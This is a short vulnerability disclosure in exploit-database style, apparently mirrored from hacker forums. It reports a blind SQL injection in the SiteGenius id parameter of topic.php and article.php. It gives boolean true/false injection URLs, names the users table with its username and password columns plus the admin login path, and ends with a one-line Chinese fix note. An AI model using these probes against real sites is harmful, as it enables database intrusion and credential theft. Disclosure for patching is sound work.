=====================================================
SiteGenius  Blind SQL injection vulnerability
=====================================================
 
 
# Exploit title : SiteGenius Blind SQL injection vulnerability
# Author : AutoRUN  & dR.sqL
# Home : HackForums.AL , AutoRUN-Albania.COM , whiteh4t.net,  HackingWith.US ,
# Software Link : http://www.sitegenius.com
# Versions affected : All
 
----------------------------------
#      ~  ExpL0!taTi0N ~       #
----------------------------------
 
Affected files : topic.php & article.php
 
SQLi (blind) details: Table: users ; Columns: username & password ; Panel (admin): /sitegenius/login.php
 
 
Exploit : http://www.2cto.com /sitegenius/topic.php?id=1 and 1=1  --> TRUE
             http://
Exploit : http://www.2cto.com /sitegenius/topic.php?id=1 and 1=2  --> FALSE
 
w00t!! Blind SQL injection !

修复：过滤topic.php页面的id参数输入